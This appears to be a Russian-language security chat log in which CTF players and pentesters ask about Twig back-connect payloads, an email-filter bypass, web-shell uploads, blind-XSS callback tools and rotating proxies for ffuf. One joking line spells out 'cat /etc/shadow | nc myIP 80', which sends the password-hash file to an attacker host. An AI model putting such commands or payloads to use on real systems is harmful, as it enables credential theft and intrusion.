P
тожа нужна любая креды и ты код выполняешь на серваке.
Size: a a a
2020 March 27
q
Ruler Powershell Abuse MX Exchange
знаю такое, юзал :)
自
может у кого есть пейлоад для twig на беконнект? ну или хотя бы пинг
S
может у кого есть пейлоад для twig на беконнект? ну или хотя бы пинг
自
自
можно как-то байпасить () в
FILTER_VALIDATE_EMAIL пхпшном?SB
Если что - оба вопроса по моим таскам с VolgaCTF :D
自
Если что - оба вопроса по моим таскам с VolgaCTF :D
))
BF
можно как-то байпасить () в
FILTER_VALIDATE_EMAIL пхпшном?Попробуй /(/)
n
у меня есть blind sql с file_priv? Ок, залью шелл
у меня есть blind RCE? Ок, кину бекконект, или залью шелл
у меня есть blind RCE? Ок, кину бекконект, или залью шелл
Не,не, в статье же чотко видно, надо cat /etc/shadow | nc myIP 80
᠌
Кто с 3proxy работал, как заставить его свичать parent proxy каждый запрос? Судя по логу это происходит раз в ~100 запросов, или может я с конфиг файлом что-то не так сделал
auth iponly
log
allow *
parent 10 http 127.0.0.1 10001
...
parent 10 http 127.0.0.1 10100
proxy
᠌
Хм, или может проблема в ffuf, с curl свичает каждый запрос...(
自
есть какие-то аналоги xsshunter?
M
есть какие-то аналоги xsshunter?
точно есть
но не помню какие(
но не помню какие(
M
в принципе тот же коллаборатор, но это жутко неудобно(
M
так блайнд-хсс можно оч долго ждать, а при рестарте бурпа, адрес коллаборатора меняется, как мне известно
VS
есть какие-то аналоги xsshunter?
У у брутлоджик был линк на весь исходник проекта который можно у себя поднять. Там можно было и красивенько локалстораж получать на случай если куки бесполезные прилетают
M
есть какие-то аналоги xsshunter?
если даже загуглить xsshunter analog (что не совсем првильно), первой дропнется статья на хабре
M
